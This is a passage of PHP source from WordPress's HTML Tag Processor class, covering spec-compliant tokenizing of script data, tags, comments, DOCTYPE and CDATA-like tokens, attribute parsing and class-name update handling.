			if ( $at + 1 >= strlen( $this->html ) ) {
				return false;
			}

			if ( '/' === $html[ $at ] && '>' === $html[ $at + 1 ] ) {
				$this->bytes_already_parsed = $at + 2;
				return true;
			}
		}

		return false;
	}

	/**
	 * Skips contents of script tags.
	 *
	 * @since 6.2.0
	 *
	 * @return bool Whether the script tag was closed before the end of the document.
	 */
	private function skip_script_data(): bool {
		$state      = 'unescaped';
		$html       = $this->html;
		$doc_length = strlen( $html );
		$at         = $this->bytes_already_parsed;

		while ( false !== $at && $at < $doc_length ) {
			$at += strcspn( $html, '-<', $at );

			/*
			 * Optimization: Terminating a complete script element requires at least eight
			 * additional bytes in the document. Some checks below may cause local escaped
			 * state transitions when processing shorter strings, but those transitions are
			 * irrelevant if the script tag is incomplete and the function must return false.
			 *
			 * This may need updating if those transitions become significant or exported from
			 * this function in some way, such as when building safe methods to embed JavaScript
			 * or data inside a SCRIPT element.
			 *
			 *     $at may be here.
			 *        ↓
			 *     ...</script>
			 *         ╰──┬───╯
			 *     $at + 8 additional bytes are required for a non-false return value.
			 *
			 * This single check eliminates the need to check lengths for the shorter spans:
			 *
			 *           $at may be here.
			 *                  ↓
			 *     <script><!-- --></script>
			 *                   ├╯
			 *             $at + 2 additional characters does not require a length check.
			 *
			 * The transition from "escaped" to "unescaped" is not relevant if the document ends:
			 *
			 *           $at may be here.
			 *                  ↓
			 *     <script><!-- -->[[END-OF-DOCUMENT]]
			 *                   ╰──┬───╯
			 *             $at + 8 additional bytes is not satisfied, return false.
			 */
			if ( $at + 8 >= $doc_length ) {
				return false;
			}

			/*
			 * For all script states a "-->"  transitions
			 * back into the normal unescaped script mode,
			 * even if that's the current state.
			 */
			if (
				'-' === $html[ $at ] &&
				'-' === $html[ $at + 1 ] &&
				'>' === $html[ $at + 2 ]
			) {
				$at   += 3;
				$state = 'unescaped';
				continue;
			}

			/*
			 * Everything of interest past here starts with "<".
			 * Check this character and advance position regardless.
			 */
			if ( '<' !== $html[ $at++ ] ) {
				continue;
			}

			/*
			 * "<!--" only transitions from _unescaped_ to _escaped_. This byte sequence is only
			 * significant in the _unescaped_ state and is ignored in any other state.
			 */
			if (
				'unescaped' === $state &&
				'!' === $html[ $at ] &&
				'-' === $html[ $at + 1 ] &&
				'-' === $html[ $at + 2 ]
			) {
				$at += 3;

				/*
				 * The parser is ready to enter the _escaped_ state, but may remain in the
				 * _unescaped_ state. This occurs when "<!--" is immediately followed by a
				 * sequence of 0 or more "-" followed by ">". This is similar to abruptly closed
				 * HTML comments like "<!-->" or "<!--->".
				 *
				 * Note that this check may advance the position significantly and requires a
				 * length check to prevent bad offsets on inputs like `<script><!---------`.
				 */
				$at += strspn( $html, '-', $at );
				if ( $at < $doc_length && '>' === $html[ $at ] ) {
					++$at;
					continue;
				}

				$state = 'escaped';
				continue;
			}

			if ( '/' === $html[ $at ] ) {
				$closer_potentially_starts_at = $at - 1;
				$is_closing                   = true;
				++$at;
			} else {
				$is_closing = false;
			}

			/*
			 * At this point the only remaining state-changes occur with the
			 * <script> and </script> tags; unless one of these appears next,
			 * proceed scanning to the next potential token in the text.
			 */
			if ( ! (
				( 's' === $html[ $at ] || 'S' === $html[ $at ] ) &&
				( 'c' === $html[ $at + 1 ] || 'C' === $html[ $at + 1 ] ) &&
				( 'r' === $html[ $at + 2 ] || 'R' === $html[ $at + 2 ] ) &&
				( 'i' === $html[ $at + 3 ] || 'I' === $html[ $at + 3 ] ) &&
				( 'p' === $html[ $at + 4 ] || 'P' === $html[ $at + 4 ] ) &&
				( 't' === $html[ $at + 5 ] || 'T' === $html[ $at + 5 ] )
			) ) {
				++$at;
				continue;
			}

			/*
			 * Ensure that the script tag terminates to avoid matching on
			 * substrings of a non-match. For example, the sequence
			 * "<script123" should not end a script region even though
			 * "<script" is found within the text.
			 */
			$at += 6;
			$c   = $html[ $at ];
			if (
				/**
				 * These characters trigger state transitions of interest:
				 *
				 * - @see {https://html.spec.whatwg.org/multipage/parsing.html#script-data-end-tag-name-state}
				 * - @see {https://html.spec.whatwg.org/multipage/parsing.html#script-data-escaped-end-tag-name-state}
				 * - @see {https://html.spec.whatwg.org/multipage/parsing.html#script-data-double-escape-start-state}
				 * - @see {https://html.spec.whatwg.org/multipage/parsing.html#script-data-double-escape-end-state}
				 *
				 * The "\r" character is not present in the above references. However, "\r" must be
				 * treated the same as "\n". This is because the HTML Standard requires newline
				 * normalization during preprocessing which applies this replacement.
				 *
				 * - @see https://html.spec.whatwg.org/multipage/parsing.html#preprocessing-the-input-stream
				 * - @see https://infra.spec.whatwg.org/#normalize-newlines
				 */
				'>' !== $c &&
				' ' !== $c &&
				"\n" !== $c &&
				'/' !== $c &&
				"\t" !== $c &&
				"\f" !== $c &&
				"\r" !== $c
			) {
				continue;
			}

			if ( 'escaped' === $state && ! $is_closing ) {
				$state = 'double-escaped';
				continue;
			}

			if ( 'double-escaped' === $state && $is_closing ) {
				$state = 'escaped';
				continue;
			}

			if ( $is_closing ) {
				$this->bytes_already_parsed = $closer_potentially_starts_at;
				$this->tag_name_starts_at   = $closer_potentially_starts_at;
				if ( $this->bytes_already_parsed >= $doc_length ) {
					return false;
				}

				while ( $this->parse_next_attribute() ) {
					continue;
				}

				if ( $this->bytes_already_parsed >= $doc_length ) {
					return false;
				}

				if ( '>' === $html[ $this->bytes_already_parsed ] ) {
					++$this->bytes_already_parsed;
					return true;
				}
			}

			++$at;
		}

		return false;
	}

	/**
	 * Parses the next tag.
	 *
	 * This will find and start parsing the next tag, including
	 * the opening `<`, the potential closer `/`, and the tag
	 * name. It does not parse the attributes or scan to the
	 * closing `>`; these are left for other methods.
	 *
	 * @since 6.2.0
	 * @since 6.2.1 Support abruptly-closed comments, invalid-tag-closer-comments, and empty elements.
	 *
	 * @return bool Whether a tag was found before the end of the document.
	 */
	private function parse_next_tag(): bool {
		$this->after_tag();

		$html       = $this->html;
		$doc_length = strlen( $html );
		$was_at     = $this->bytes_already_parsed;
		$at         = $was_at;

		while ( $at < $doc_length ) {
			$at = strpos( $html, '<', $at );
			if ( false === $at ) {
				break;
			}

			if ( $at > $was_at ) {
				/*
				 * A "<" normally starts a new HTML tag or syntax token, but in cases where the
				 * following character can't produce a valid token, the "<" is instead treated
				 * as plaintext and the parser should skip over it. This avoids a problem when
				 * following earlier practices of typing emoji with text, e.g. "<3". This
				 * should be a heart, not a tag. It's supposed to be rendered, not hidden.
				 *
				 * At this point the parser checks if this is one of those cases and if it is
				 * will continue searching for the next "<" in search of a token boundary.
				 *
				 * @see https://html.spec.whatwg.org/#tag-open-state
				 */
				if ( 1 !== strspn( $html, '!/?abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ', $at + 1, 1 ) ) {
					++$at;
					continue;
				}

				$this->parser_state         = self::STATE_TEXT_NODE;
				$this->token_starts_at      = $was_at;
				$this->token_length         = $at - $was_at;
				$this->text_starts_at       = $was_at;
				$this->text_length          = $this->token_length;
				$this->bytes_already_parsed = $at;
				return true;
			}

			$this->token_starts_at = $at;

			if ( $at + 1 < $doc_length && '/' === $this->html[ $at + 1 ] ) {
				$this->is_closing_tag = true;
				++$at;
			} else {
				$this->is_closing_tag = false;
			}

			/*
			 * HTML tag names must start with [a-zA-Z] otherwise they are not tags.
			 * For example, "<3" is rendered as text, not a tag opener. If at least
			 * one letter follows the "<" then _it is_ a tag, but if the following
			 * character is anything else it _is not a tag_.
			 *
			 * It's not uncommon to find non-tags starting with `<` in an HTML
			 * document, so it's good for performance to make this pre-check before
			 * continuing to attempt to parse a tag name.
			 *
			 * Reference:
			 * * https://html.spec.whatwg.org/multipage/parsing.html#data-state
			 * * https://html.spec.whatwg.org/multipage/parsing.html#tag-open-state
			 */
			$tag_name_prefix_length = strspn( $html, 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ', $at + 1 );
			if ( $tag_name_prefix_length > 0 ) {
				++$at;
				$this->parser_state         = self::STATE_MATCHED_TAG;
				$this->tag_name_starts_at   = $at;
				$this->tag_name_length      = $tag_name_prefix_length + strcspn( $html, " \t\f\r\n/>", $at + $tag_name_prefix_length );
				$this->bytes_already_parsed = $at + $this->tag_name_length;
				return true;
			}

			/*
			 * Abort if no tag is found before the end of
			 * the document. There is nothing left to parse.
			 */
			if ( $at + 1 >= $doc_length ) {
				$this->parser_state = self::STATE_INCOMPLETE_INPUT;

				return false;
			}

			/*
			 * `<!` transitions to markup declaration open state
			 * https://html.spec.whatwg.org/multipage/parsing.html#markup-declaration-open-state
			 */
			if ( ! $this->is_closing_tag && '!' === $html[ $at + 1 ] ) {
				/*
				 * `<!--` transitions to a comment state – apply further comment rules.
				 * https://html.spec.whatwg.org/multipage/parsing.html#tag-open-state
				 */
				if ( 0 === substr_compare( $html, '--', $at + 2, 2 ) ) {
					$closer_at = $at + 4;
					// If it's not possible to close the comment then there is nothing more to scan.
					if ( $doc_length <= $closer_at ) {
						$this->parser_state = self::STATE_INCOMPLETE_INPUT;

						return false;
					}

					// Abruptly-closed empty comments are a sequence of dashes followed by `>`.
					$span_of_dashes = strspn( $html, '-', $closer_at );
					if ( '>' === $html[ $closer_at + $span_of_dashes ] ) {
						/*
						 * @todo When implementing `set_modifiable_text()` ensure that updates to this token
						 *       don't break the syntax for short comments, e.g. `<!--->`. Unlike other comment
						 *       and bogus comment syntax, these leave no clear insertion point for text and
						 *       they need to be modified specially in order to contain text. E.g. to store
						 *       `?` as the modifiable text, the `<!--->` needs to become `<!--?-->`, which
						 *       involves inserting an additional `-` into the token after the modifiable text.
						 */
						$this->parser_state = self::STATE_COMMENT;
						$this->comment_type = self::COMMENT_AS_ABRUPTLY_CLOSED_COMMENT;
						$this->token_length = $closer_at + $span_of_dashes + 1 - $this->token_starts_at;

						// Only provide modifiable text if the token is long enough to contain it.
						if ( $span_of_dashes >= 2 ) {
							$this->comment_type   = self::COMMENT_AS_HTML_COMMENT;
							$this->text_starts_at = $this->token_starts_at + 4;
							$this->text_length    = $span_of_dashes - 2;
						}

						$this->bytes_already_parsed = $closer_at + $span_of_dashes + 1;
						return true;
					}

					/*
					 * Comments may be closed by either a --> or an invalid --!>.
					 * The first occurrence closes the comment.
					 *
					 * See https://html.spec.whatwg.org/#parse-error-incorrectly-closed-comment
					 */
					--$closer_at; // Pre-increment inside condition below reduces risk of accidental infinite looping.
					while ( ++$closer_at < $doc_length ) {
						$closer_at = strpos( $html, '--', $closer_at );
						if ( false === $closer_at ) {
							$this->parser_state = self::STATE_INCOMPLETE_INPUT;

							return false;
						}

						if ( $closer_at + 2 < $doc_length && '>' === $html[ $closer_at + 2 ] ) {
							$this->parser_state         = self::STATE_COMMENT;
							$this->comment_type         = self::COMMENT_AS_HTML_COMMENT;
							$this->token_length         = $closer_at + 3 - $this->token_starts_at;
							$this->text_starts_at       = $this->token_starts_at + 4;
							$this->text_length          = $closer_at - $this->text_starts_at;
							$this->bytes_already_parsed = $closer_at + 3;
							return true;
						}

						if (
							$closer_at + 3 < $doc_length &&
							'!' === $html[ $closer_at + 2 ] &&
							'>' === $html[ $closer_at + 3 ]
						) {
							$this->parser_state         = self::STATE_COMMENT;
							$this->comment_type         = self::COMMENT_AS_HTML_COMMENT;
							$this->token_length         = $closer_at + 4 - $this->token_starts_at;
							$this->text_starts_at       = $this->token_starts_at + 4;
							$this->text_length          = $closer_at - $this->text_starts_at;
							$this->bytes_already_parsed = $closer_at + 4;
							return true;
						}
					}
				}

				/*
				 * `<!DOCTYPE` transitions to DOCTYPE state – skip to the nearest >
				 * These are ASCII-case-insensitive.
				 * https://html.spec.whatwg.org/multipage/parsing.html#tag-open-state
				 */
				if (
					$doc_length > $at + 8 &&
					( 'D' === $html[ $at + 2 ] || 'd' === $html[ $at + 2 ] ) &&
					( 'O' === $html[ $at + 3 ] || 'o' === $html[ $at + 3 ] ) &&
					( 'C' === $html[ $at + 4 ] || 'c' === $html[ $at + 4 ] ) &&
					( 'T' === $html[ $at + 5 ] || 't' === $html[ $at + 5 ] ) &&
					( 'Y' === $html[ $at + 6 ] || 'y' === $html[ $at + 6 ] ) &&
					( 'P' === $html[ $at + 7 ] || 'p' === $html[ $at + 7 ] ) &&
					( 'E' === $html[ $at + 8 ] || 'e' === $html[ $at + 8 ] )
				) {
					$closer_at = strpos( $html, '>', $at + 9 );
					if ( false === $closer_at ) {
						$this->parser_state = self::STATE_INCOMPLETE_INPUT;

						return false;
					}

					$this->parser_state         = self::STATE_DOCTYPE;
					$this->token_length         = $closer_at + 1 - $this->token_starts_at;
					$this->text_starts_at       = $this->token_starts_at + 9;
					$this->text_length          = $closer_at - $this->text_starts_at;
					$this->bytes_already_parsed = $closer_at + 1;
					return true;
				}

				if (
					'html' !== $this->parsing_namespace &&
					strlen( $html ) > $at + 8 &&
					'[' === $html[ $at + 2 ] &&
					'C' === $html[ $at + 3 ] &&
					'D' === $html[ $at + 4 ] &&
					'A' === $html[ $at + 5 ] &&
					'T' === $html[ $at + 6 ] &&
					'A' === $html[ $at + 7 ] &&
					'[' === $html[ $at + 8 ]
				) {
					$closer_at = strpos( $html, ']]>', $at + 9 );
					if ( false === $closer_at ) {
						$this->parser_state = self::STATE_INCOMPLETE_INPUT;

						return false;
					}

					$this->parser_state         = self::STATE_CDATA_NODE;
					$this->text_starts_at       = $at + 9;
					$this->text_length          = $closer_at - $this->text_starts_at;
					$this->token_length         = $closer_at + 3 - $this->token_starts_at;
					$this->bytes_already_parsed = $closer_at + 3;
					return true;
				}

				/*
				 * Anything else here is an incorrectly-opened comment and transitions
				 * to the bogus comment state - skip to the nearest >. If no closer is
				 * found then the HTML was truncated inside the markup declaration.
				 */
				$closer_at = strpos( $html, '>', $at + 1 );
				if ( false === $closer_at ) {
					$this->parser_state = self::STATE_INCOMPLETE_INPUT;

					return false;
				}

				$this->parser_state         = self::STATE_COMMENT;
				$this->comment_type         = self::COMMENT_AS_INVALID_HTML;
				$this->token_length         = $closer_at + 1 - $this->token_starts_at;
				$this->text_starts_at       = $this->token_starts_at + 2;
				$this->text_length          = $closer_at - $this->text_starts_at;
				$this->bytes_already_parsed = $closer_at + 1;

				/*
				 * Identify nodes that would be CDATA if HTML had CDATA sections.
				 *
				 * This section must occur after identifying the bogus comment end
				 * because in an HTML parser it will span to the nearest `>`, even
				 * if there's no `]]>` as would be required in an XML document. It
				 * is therefore not possible to parse a CDATA section containing
				 * a `>` in the HTML syntax.
				 *
				 * Inside foreign elements there is a discrepancy between browsers
				 * and the specification on this.
				 *
				 * @todo Track whether the Tag Processor is inside a foreign element
				 *       and require the proper closing `]]>` in those cases.
				 */
				if (
					$this->token_length >= 10 &&
					'[' === $html[ $this->token_starts_at + 2 ] &&
					'C' === $html[ $this->token_starts_at + 3 ] &&
					'D' === $html[ $this->token_starts_at + 4 ] &&
					'A' === $html[ $this->token_starts_at + 5 ] &&
					'T' === $html[ $this->token_starts_at + 6 ] &&
					'A' === $html[ $this->token_starts_at + 7 ] &&
					'[' === $html[ $this->token_starts_at + 8 ] &&
					']' === $html[ $closer_at - 1 ] &&
					']' === $html[ $closer_at - 2 ]
				) {
					$this->parser_state    = self::STATE_COMMENT;
					$this->comment_type    = self::COMMENT_AS_CDATA_LOOKALIKE;
					$this->text_starts_at += 7;
					$this->text_length    -= 9;
				}

				return true;
			}

			/*
			 * </> is a missing end tag name, which is ignored.
			 *
			 * This was also known as the "presumptuous empty tag"
			 * in early discussions as it was proposed to close
			 * the nearest previous opening tag.
			 *
			 * See https://html.spec.whatwg.org/#parse-error-missing-end-tag-name
			 */
			if ( '>' === $html[ $at + 1 ] ) {
				// `<>` is interpreted as plaintext.
				if ( ! $this->is_closing_tag ) {
					++$at;
					continue;
				}

				$this->parser_state         = self::STATE_PRESUMPTUOUS_TAG;
				$this->token_length         = $at + 2 - $this->token_starts_at;
				$this->bytes_already_parsed = $at + 2;
				return true;
			}

			/*
			 * `<?` transitions to a bogus comment state – skip to the nearest >
			 * See https://html.spec.whatwg.org/multipage/parsing.html#tag-open-state
			 */
			if ( ! $this->is_closing_tag && '?' === $html[ $at + 1 ] ) {
				$closer_at = strpos( $html, '>', $at + 2 );
				if ( false === $closer_at ) {
					$this->parser_state = self::STATE_INCOMPLETE_INPUT;

					return false;
				}

				$this->parser_state         = self::STATE_COMMENT;
				$this->comment_type         = self::COMMENT_AS_INVALID_HTML;
				$this->token_length         = $closer_at + 1 - $this->token_starts_at;
				$this->text_starts_at       = $this->token_starts_at + 2;
				$this->text_length          = $closer_at - $this->text_starts_at;
				$this->bytes_already_parsed = $closer_at + 1;

				/*
				 * Identify a Processing Instruction node were HTML to have them.
				 *
				 * This section must occur after identifying the bogus comment end
				 * because in an HTML parser it will span to the nearest `>`, even
				 * if there's no `?>` as would be required in an XML document. It
				 * is therefore not possible to parse a Processing Instruction node
				 * containing a `>` in the HTML syntax.
				 *
				 * XML allows for more target names, but this code only identifies
				 * those with ASCII-representable target names. This means that it
				 * may identify some Processing Instruction nodes as bogus comments,
				 * but it will not misinterpret the HTML structure. By limiting the
				 * identification to these target names the Tag Processor can avoid
				 * the need to start parsing UTF-8 sequences.
				 *
				 * > NameStartChar ::= ":" | [A-Z] | "_" | [a-z] | [#xC0-#xD6] | [#xD8-#xF6] | [#xF8-#x2FF] |
				 *                     [#x370-#x37D] | [#x37F-#x1FFF] | [#x200C-#x200D] | [#x2070-#x218F] |
				 *                     [#x2C00-#x2FEF] | [#x3001-#xD7FF] | [#xF900-#xFDCF] | [#xFDF0-#xFFFD] |
				 *                     [#x10000-#xEFFFF]
				 * > NameChar      ::= NameStartChar | "-" | "." | [0-9] | #xB7 | [#x0300-#x036F] | [#x203F-#x2040]
				 *
				 * @todo Processing instruction nodes in SGML may contain any kind of markup. XML defines a
				 *       special case with `<?xml ... ?>` syntax, but the `?` is part of the bogus comment.
				 *
				 * @see https://www.w3.org/TR/2006/REC-xml11-20060816/#NT-PITarget
				 */
				if ( $this->token_length >= 5 && '?' === $html[ $closer_at - 1 ] ) {
					$comment_text     = substr( $html, $this->token_starts_at + 2, $this->token_length - 4 );
					$pi_target_length = strspn( $comment_text, 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ:_' );

					if ( 0 < $pi_target_length ) {
						$pi_target_length += strspn( $comment_text, 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789:_-.', $pi_target_length );

						$this->comment_type       = self::COMMENT_AS_PI_NODE_LOOKALIKE;
						$this->tag_name_starts_at = $this->token_starts_at + 2;
						$this->tag_name_length    = $pi_target_length;
						$this->text_starts_at    += $pi_target_length;
						$this->text_length       -= $pi_target_length + 1;
					}
				}

				return true;
			}

			/*
			 * If a non-alpha starts the tag name in a tag closer it's a comment.
			 * Find the first `>`, which closes the comment.
			 *
			 * This parser classifies these particular comments as special "funky comments"
			 * which are made available for further processing.
			 *
			 * See https://html.spec.whatwg.org/#parse-error-invalid-first-character-of-tag-name
			 */
			if ( $this->is_closing_tag ) {
				// No chance of finding a closer.
				if ( $at + 3 > $doc_length ) {
					$this->parser_state = self::STATE_INCOMPLETE_INPUT;

					return false;
				}

				$closer_at = strpos( $html, '>', $at + 2 );
				if ( false === $closer_at ) {
					$this->parser_state = self::STATE_INCOMPLETE_INPUT;

					return false;
				}

				$this->parser_state         = self::STATE_FUNKY_COMMENT;
				$this->token_length         = $closer_at + 1 - $this->token_starts_at;
				$this->text_starts_at       = $this->token_starts_at + 2;
				$this->text_length          = $closer_at - $this->text_starts_at;
				$this->bytes_already_parsed = $closer_at + 1;
				return true;
			}

			++$at;
		}

		/*
		 * This does not imply an incomplete parse; it indicates that there
		 * can be nothing left in the document other than a #text node.
		 */
		$this->parser_state         = self::STATE_TEXT_NODE;
		$this->token_starts_at      = $was_at;
		$this->token_length         = $doc_length - $was_at;
		$this->text_starts_at       = $was_at;
		$this->text_length          = $this->token_length;
		$this->bytes_already_parsed = $doc_length;
		return true;
	}

	/**
	 * Parses the next attribute.
	 *
	 * @since 6.2.0
	 *
	 * @return bool Whether an attribute was found before the end of the document.
	 */
	private function parse_next_attribute(): bool {
		$doc_length = strlen( $this->html );

		// Skip whitespace and slashes.
		$this->bytes_already_parsed += strspn( $this->html, " \t\f\r\n/", $this->bytes_already_parsed );
		if ( $this->bytes_already_parsed >= $doc_length ) {
			$this->parser_state = self::STATE_INCOMPLETE_INPUT;

			return false;
		}

		/*
		 * Treat the equal sign as a part of the attribute
		 * name if it is the first encountered byte.
		 *
		 * @see https://html.spec.whatwg.org/multipage/parsing.html#before-attribute-name-state
		 */
		$name_length = '=' === $this->html[ $this->bytes_already_parsed ]
			? 1 + strcspn( $this->html, "=/> \t\f\r\n", $this->bytes_already_parsed + 1 )
			: strcspn( $this->html, "=/> \t\f\r\n", $this->bytes_already_parsed );

		// No attribute, just tag closer.
		if ( 0 === $name_length || $this->bytes_already_parsed + $name_length >= $doc_length ) {
			return false;
		}

		$attribute_start             = $this->bytes_already_parsed;
		$attribute_name              = substr( $this->html, $attribute_start, $name_length );
		$this->bytes_already_parsed += $name_length;
		if ( $this->bytes_already_parsed >= $doc_length ) {
			$this->parser_state = self::STATE_INCOMPLETE_INPUT;

			return false;
		}

		$this->skip_whitespace();
		if ( $this->bytes_already_parsed >= $doc_length ) {
			$this->parser_state = self::STATE_INCOMPLETE_INPUT;

			return false;
		}

		$has_value = '=' === $this->html[ $this->bytes_already_parsed ];
		if ( $has_value ) {
			++$this->bytes_already_parsed;
			$this->skip_whitespace();
			if ( $this->bytes_already_parsed >= $doc_length ) {
				$this->parser_state = self::STATE_INCOMPLETE_INPUT;

				return false;
			}

			switch ( $this->html[ $this->bytes_already_parsed ] ) {
				case "'":
				case '"':
					$quote                      = $this->html[ $this->bytes_already_parsed ];
					$value_start                = $this->bytes_already_parsed + 1;
					$end_quote_at               = strpos( $this->html, $quote, $value_start );
					$end_quote_at               = false === $end_quote_at ? $doc_length : $end_quote_at;
					$value_length               = $end_quote_at - $value_start;
					$attribute_end              = $end_quote_at + 1;
					$this->bytes_already_parsed = $attribute_end;
					break;

				default:
					$value_start                = $this->bytes_already_parsed;
					$value_length               = strcspn( $this->html, "> \t\f\r\n", $value_start );
					$attribute_end              = $value_start + $value_length;
					$this->bytes_already_parsed = $attribute_end;
			}
		} else {
			$value_start   = $this->bytes_already_parsed;
			$value_length  = 0;
			$attribute_end = $attribute_start + $name_length;
		}

		if ( $attribute_end >= $doc_length ) {
			$this->parser_state = self::STATE_INCOMPLETE_INPUT;

			return false;
		}

		if ( $this->is_closing_tag ) {
			return true;
		}

		/*
		 * > There must never be two or more attributes on
		 * > the same start tag whose names are an ASCII
		 * > case-insensitive match for each other.
		 *     - HTML 5 spec
		 *
		 * @see https://html.spec.whatwg.org/multipage/syntax.html#attributes-2:ascii-case-insensitive
		 */
		$comparable_name = strtolower( $attribute_name );

		// If an attribute is listed many times, only use the first declaration and ignore the rest.
		if ( ! isset( $this->attributes[ $comparable_name ] ) ) {
			$this->attributes[ $comparable_name ] = new WP_HTML_Attribute_Token(
				$attribute_name,
				$value_start,
				$value_length,
				$attribute_start,
				$attribute_end - $attribute_start,
				! $has_value
			);

			return true;
		}

		/*
		 * Track the duplicate attributes so if we remove it, all disappear together.
		 *
		 * While `$this->duplicated_attributes` could always be stored as an `array()`,
		 * which would simplify the logic here, storing a `null` and only allocating
		 * an array when encountering duplicates avoids needless allocations in the
		 * normative case of parsing tags with no duplicate attributes.
		 */
		$duplicate_span = new WP_HTML_Span( $attribute_start, $attribute_end - $attribute_start );
		if ( null === $this->duplicate_attributes ) {
			$this->duplicate_attributes = array( $comparable_name => array( $duplicate_span ) );
		} elseif ( ! isset( $this->duplicate_attributes[ $comparable_name ] ) ) {
			$this->duplicate_attributes[ $comparable_name ] = array( $duplicate_span );
		} else {
			$this->duplicate_attributes[ $comparable_name ][] = $duplicate_span;
		}

		return true;
	}

	/**
	 * Move the internal cursor past any immediate successive whitespace.
	 *
	 * @since 6.2.0
	 */
	private function skip_whitespace(): void {
		$this->bytes_already_parsed += strspn( $this->html, " \t\f\r\n", $this->bytes_already_parsed );
	}

	/**
	 * Applies attribute updates and cleans up once a tag is fully parsed.
	 *
	 * @since 6.2.0
	 */
	private function after_tag(): void {
		/*
		 * There could be lexical updates enqueued for an attribute that
		 * also exists on the next tag. In order to avoid conflating the
		 * attributes across the two tags, lexical updates with names
		 * need to be flushed to raw lexical updates.
		 */
		$this->class_name_updates_to_attributes_updates();

		/*
		 * Purge updates if there are too many. The actual count isn't
		 * scientific, but a few values from 100 to a few thousand were
		 * tests to find a practically-useful limit.
		 *
		 * If the update queue grows too big, then the Tag Processor
		 * will spend more time iterating through them and lose the
		 * efficiency gains of deferring applying them.
		 */
		if ( 1000 < count( $this->lexical_updates ) ) {
			$this->get_updated_html();
		}

		foreach ( $this->lexical_updates as $name => $update ) {
			/*
			 * Any updates appearing after the cursor should be applied
			 * before proceeding, otherwise they may be overlooked.
			 */
			if ( $update->start >= $this->bytes_already_parsed ) {
				$this->get_updated_html();
				break;
			}

			if ( is_int( $name ) ) {
				continue;
			}

			$this->lexical_updates[] = $update;
			unset( $this->lexical_updates[ $name ] );
		}

		$this->token_starts_at          = null;
		$this->token_length             = null;
		$this->tag_name_starts_at       = null;
		$this->tag_name_length          = null;
		$this->text_starts_at           = 0;
		$this->text_length              = 0;
		$this->is_closing_tag           = null;
		$this->attributes               = array();
		$this->comment_type             = null;
		$this->text_node_classification = self::TEXT_IS_GENERIC;
		$this->duplicate_attributes     = null;
	}

	/**
	 * Converts class name updates into tag attributes updates
	 * (they are accumulated in different data formats for performance).
	 *
	 * @since 6.2.0
	 *
	 * @see WP_HTML_Tag_Processor::$lexical_updates
	 * @see WP_HTML_Tag_Processor::$classname_updates
	 */
	private function class_name_updates_to_attributes_updates(): void {
		if ( count( $this->classname_updates ) === 0 ) {
			return;
		}

		$existing_class = $this->get_enqueued_attribute_value( 'class' );
		if ( null === $existing_class || true === $existing_class ) {
			$existing_class = '';
		}

		if ( false === $existing_class && isset( $this->attributes['class'] ) ) {
			$existing_class = substr(
				$this->html,
				$this->attributes['class']->value_starts_at,
				$this->attributes['class']->value_length
			);
		}

		if ( false === $existing_class ) {
			$existing_class = '';
		}

		/**
		 * Updated "class" attribute value.
		 *
		 * This is incrementally built while scanning through the existing class
		 * attribute, skipping removed classes on the way, and then appending
		 * added classes at the end. Only when finished processing will the
		 * value contain the final new value.

		 * @var string $class
		 */
		$class = '';

		/**
		 * Tracks the cursor position in the existing
		 * class attribute value while parsing.
		 *
		 * @var int $at
		 */
		$at = 0;

		/**
		 * Indicates if there's any need to modify the existing class attribute.
		 *
		 * If a call to `add_class()` and `remove_class()` wouldn't impact
		 * the `class` attribute value then there's no need to rebuild it.
		 * For example, when adding a class that's already present or
		 * removing one that isn't.
		 *
		 * This flag enables a performance optimization when none of the enqueued
		 * class updates would impact the `class` attribute; namely, that the
		 * processor can continue without modifying the input document, as if
		 * none of the `add_class()` or `remove_class()` calls had been made.
		 *
		 * This flag is set upon the first change that requires a string update.
		 *
		 * @var bool $modified
		 */
		$modified = false;

		$seen      = array();
		$to_remove = array();
		$is_quirks = self::QUIRKS_MODE === $this->compat_mode;
		if ( $is_quirks ) {
			foreach ( $this->classname_updates as $updated_name => $action ) {
				if ( self::REMOVE_CLASS === $action ) {
					$to_remove[] = strtolower( $updated_name );
				}
			}
		} else {
			foreach ( $this->classname_updates as $updated_name => $action ) {
				if ( self::REMOVE_CLASS === $action ) {
					$to_remove[] = $updated_name;
				}
			}
		}

		// Remove unwanted classes by only copying the new ones.
		$existing_class_length = strlen( $existing_class );
		while ( $at < $existing_class_length ) {
			// Skip to the first non-whitespace character.
			$ws_at     = $at;
			$ws_length = strspn( $existing_class, " \t\f\r\n", $ws_at );
			$at       += $ws_length;

			// Capture the class name – it's everything until the next whitespace.
			$name_length = strcspn( $existing_class, " \t\f\r\n", $at );
			if ( 0 === $name_length ) {
				// If no more class names are found then that's the end.
				break;
			}

			$name                  = substr( $existing_class, $at, $name_length );
			$comparable_class_name = $is_quirks ? strtolower( $name ) : $name;
			$at                   += $name_length;

			// If this class is marked for removal, remove it and move on to the next one.
			if ( in_array( $comparable_class_name, $to_remove, true ) ) {
				$modified = true;
				continue;
			}

			// If a class has already been seen then skip it; it should not be added twice.
			if ( in_array( $comparable_class_name, $seen, true ) ) {
				continue;
			}

			$seen[] = $comparable_class_name;

			/*
			 * Otherwise, append it to the new "class" attribute value.
			 *
			 * There are options for handling whitespace between tags.
			 * Preserving the existing whitespace produces fewer changes
			 * to the HTML content and should clarify the before/after
			 * content when debugging the modified output.
			 *
			 * This approach contrasts normalizing the inter-class
			 * whitespace to a single space, which might appear cleaner
			 * in the output HTML but produce a noisier change.
			 */
			if ( '' !== $class ) {
				$class .= substr( $existing_class, $ws_at, $ws_length );
			}
			$class .= $name;
		}

		// Add new classes by appending those which haven't already been seen.
		foreach ( $this->classname_updates as $name => $operation ) {
			$comparable_name = $is_quirks ? strtolower( $name ) : $name;
			if ( self::ADD_CLASS === $operation && ! in_array( $comparable_name, $seen, true ) ) {
				$modified = true;

				$class .= strlen( $class ) > 0 ? ' ' : '';
				$class .= $name;
			}
		}

		$this->classname_updates = array();
		if ( ! $modified ) {
			return;
		}

		if ( strlen( $class ) > 0 ) {
			$this->set_attribute( 'class', $class );
		} else {
			$this->remove_attribute( 'class' );
		}
	}

	/**
	 * Applies attribute updates to HTML document.
	 *
	 * @since 6.2.0
	 * @since 6.2.1 Accumulates shift for internal cursor and passed pointer.
	 * @since 6.3.0 Invalidate any bookmarks whose targets are overwritten.
	 *
	 * @param int $shift_this_point Accumulate and return shift for this position.
